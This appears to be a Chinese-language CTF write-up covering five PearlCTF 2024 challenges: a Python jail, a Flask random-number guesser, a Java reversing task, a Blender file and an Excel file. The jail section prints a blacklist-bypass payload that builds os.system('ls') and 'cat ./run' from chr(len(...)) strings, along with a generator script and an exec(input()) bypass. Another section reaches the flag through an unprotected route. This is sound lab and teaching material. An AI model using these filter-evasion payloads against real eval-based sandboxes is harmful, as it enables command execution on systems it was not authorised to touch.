PearlCTF 2024 WP
文章目录
I am so vegetable 我太菜了 :-(
b4by_jail
一道简单的 Python 沙箱逃逸(指连我都会做),题目附件如下:
1#!/usr/local/bin/python
2import time
3flag="pearl{f4k3_fl4g}"
4blacklist=list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~`![]{},<>/123456789")
5def banner():
6 file=open("txt.txt","r").read()
7 print(file)
8def check_blocklist(string):
9 for i in string:
10 if i in blacklist:
11 return(0)
12 return(1)
13def main():
14 banner()
15 cmd=input(">>> ")
16 time.sleep(1)
17 if(check_blocklist(cmd)):
18 try:
19 print(eval(cmd))
20 except:
21 print("Sorry no valid output to show.")
22 else:
23 print("Your sentence has been increased by 2 years for attempted escape.")
24
25main()
所有的字母都被屏蔽,部分符号被屏蔽,数字仅 0 可用,因此想到使用 Unicode 特殊字符绕过。把 __import__('os').system('ls')
的全部字母都换成全角字符:
1>>> __import__('os').system('ls')
2Traceback (most recent call last):
3 File "<stdin>", line 1, in <module>
4ModuleNotFoundError: No module named 'os'
根据 web 师傅的经验,在进行 SSTI 注入时,模块名只能使用原字符。同时由于 Linux 操作系统的限制,os.system()
中的指令也只能使用原字符。因此我们使用下面的方法作为修改过的载荷:
1__import__(chr(len('000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'))).system(chr(len('000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('00000000000000000000000000000000')) + chr(len('0000000000000000000000000000000000000000000000')) + chr(len('00000000000000000000000000000000000000000000000')) + chr(len('000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')))
其中的 “os” 与 “ls” 都使用 0 的数量表示,最终拼凑出来的是原字符。通过这个载荷可以看到 flag 所在的文件:./run
。随后将载荷中的 “ls” 改为 “cat ./run” 得到 flag。修改后的载荷如下:
1__import__(chr(len('000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'))).system(chr(len('000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('00000000000000000000000000000000')) + chr(len('0000000000000000000000000000000000000000000000')) + chr(len('00000000000000000000000000000000000000000000000')) + chr(len('000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')))
修改载荷的脚本(用于将字符使用 0 的数量表示):
1d = "cat ./run"
2s = ''
3for i in d:
4 s += "chr(len('"
5 s += ord(i) * '0'
6 s += "')) + "
7print(s[:-3])
8
9# output: chr(len('000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('00000000000000000000000000000000')) + chr(len('0000000000000000000000000000000000000000000000')) + chr(len('00000000000000000000000000000000000000000000000')) + chr(len('000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')) + chr(len('00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'))
除了这一种方法,还可以使用 exec(input())
作为攻击载荷,这样程序就会执行我们在下一行输入的代码而不进行字符检测,因此后面就可以直接输入 __import__('os').system('ls')
以及 __import__('os').system('cat ./run')
得到 flag。
TooRandom
能解出这道题就是 too random。下面是题目源码:
1from flask import Flask
2from flask import render_template
3from flask import redirect
4from flask import request
5
6import random
7
8app = Flask(__name__)
9app.secret_key = "secret_key"
10
11seed = random.getrandbits(32)
12random.seed(seed)
13flag_no = None
14
15def generate_user_ids():
16 global flag_no
17 random_numbers = []
18 for i in range(1000000):
19 random_number = random.getrandbits(32)
20 random_numbers.append(random_number)
21 flag_no = random_numbers[-1]
22 print(flag_no)
23 st_id = 624
24 end_id = 999999
25 del random_numbers[st_id:end_id]
26 return random_numbers
27
28user_ids = generate_user_ids()
29j = 0
30
31@app.route('/')
32def home():
33 return redirect('/dashboard')
34
35@app.route('/dashboard', methods=['GET', 'POST'])
36def dashboard():
37 global j
38 id_no = user_ids[j%624]
39 j += 1
40 if request.method == 'POST':
41 number = int(request.form['number'])
42 if number == flag_no:
43 return redirect('/flagkeeper')
44 else:
45 return redirect('/wrongnumber')
46 return render_template('dashboard.html', number=id_no)
47
48@app.route('/flagkeeper')
49def flagkeeper_dashboard():
50 return render_template('flag_keeper.html', user_id=flag_no)
51
52@app.route('/wrongnumber')
53def wrong_number():
54 return render_template('wrong_number.html')
55
56if __name__ == '__main__':
57 app.run(debug=False, host="0.0.0.0")
题目需要开启实例,进去后会让用户输入一个随机数:
此页面为 /dashboard
。如果随便输入一个数,大概率会错误,然后进入一个错误页面:
此时页面为 /wrongnumber
。根据题目给出代码中的逻辑,如果输入数字错误,则会进入 /wrongnumber
,否则进入 /flagkeeper
,因此尝试直接进入 /flagkeeper
:
噫!我中了!网页竟然连个保护都没有,应该是非预期解了。
input_validator
题目附件是一个 Java 类,反编译得到:
1// Source code is decompiled from a .class file using FernFlower decompiler.
2import java.util.Scanner;
3
4public class input_validator {
5 private static final int FLAG_LEN = 34;
6
7 public input_validator() {
8 }
9
10 private static boolean validate(String var0, String var1) {
11 int[] var2 = new int[34];
12 int[] var3 = new int[]{1102, 1067, 1032, 1562, 1612, 1257, 1562, 1067, 1012, 902, 882, 1397, 1472, 1312, 1442, 1582, 1067, 1263, 1363, 1413, 1379, 1311, 1187, 1285, 1217, 1313, 1297, 1431, 1137, 1273, 1161, 1339, 1267, 1427};
13
14 int var4;
15 for(var4 = 0; var4 < 34; ++var4) {
16 var2[var4] = var0.charAt(var4) ^ var1.charAt(var4);
17 }
18
19 for(var4 = 0; var4 < 34; ++var4) {
20 var2[var4] -= var1.charAt(33 - var4);
21 }
22
23 int[] var6 = new int[34];
24
25 int var5;
26 for(var5 = 0; var5 < 17; ++var5) {
27 var6[var5] = var2[1 + var5 * 2] * 5;
28 var6[var5 + 17] = var2[var5 * 2] * 2;
29 }
30
31 for(var5 = 0; var5 < 34; ++var5) {
32 var6[var5] += 1337;
33 }
34
35 for(var5 = 0; var5 < 34; ++var5) {
36 if (var6[var5] != var3[var5]) {
37 return false;
38 }
39 }
40
41 return true;
42 }
43
44 public static void main(String[] var0) {
45 Scanner var1 = new Scanner(System.in);
46 String var2 = "oF/M5BK_U<rqxCf8zWCPC(RK,/B'v3uARD";
47 System.out.print("Enter input: ");
48 String var3 = var1.nextLine();
49 if (var3.length() != 34) {
50 System.out.println("Input length does not match!");
51 } else {
52 if (validate(new String(var3), var2)) {
53 System.out.println("Correct");
54 } else {
55 System.out.println("Wrong");
56 }
57
58 }
59 }
60}
解题脚本:
1c = [1102, 1067, 1032, 1562, 1612, 1257, 1562, 1067, 1012, 902, 882, 1397, 1472, 1312, 1442, 1582, 1067, 1263, 1363, 1413, 1379, 1311, 1187, 1285, 1217, 1313, 1297, 1431, 1137, 1273, 1161, 1339, 1267, 1427]
2key = list("oF/M5BK_U<rqxCf8zWCPC(RK,/B'v3uARD")
3
4for i in range(34):
5 key[i] = ord(key[i])
6
7for i in range(34):
8 c[i] -= 1337
9
10c1 = [''] * 34
11for i in range(17):
12 c1[i * 2 + 1] = int(c[i] / 5)
13 c1[i * 2] = int(c[i + 17] / 2)
14
15for i in range(34):
16 c1[i] += key[33 - i]
17
18for i in range(34):
19 c1[i] ^= key[i]
20
21for i in range(34):
22 print(chr(c1[i]), end = '')
23
24# output: pearl{w0w_r3v3r51ng_15_50_Ea5y_!!}
Shipwreck
题目附件是一个 .blend
Blender 工程文件,需要使用 Blender 打开。
flag 在船上第二根桅杆顶部的灯泡上,把灯泡隐藏就能看见 flag。
眼力题。
Excel Mayhem
题目附件是一个 .xlsx
的 Excel 表格文件,文件中有 40000 个 flag,其中有 39999 个 fake flag 与一个 real flag。
众所周知,.xlsx
文件本质上是一个压缩文件,我们不妨修改文件后缀名为 .zip
并解压之。原文件中的字符串存储于 flags\xl\sharedStrings.xml
中。
使用下面的脚本检测缺少哪一个 'fake_flag'
1with open("sharedStrings.xml", 'r') as xml:
2 s = xml.read().split('</t></si><si><t>')
3
4for i in range(2,40001):
5 fake = f"fake_flag{i}"
6 if fake not in s:
7 print(i)
8 break
9
10# output: 1351
第 1351 个 flag 是 real flag。
其实眼力好的话,有几行宽度不一样,也可以直接看出来。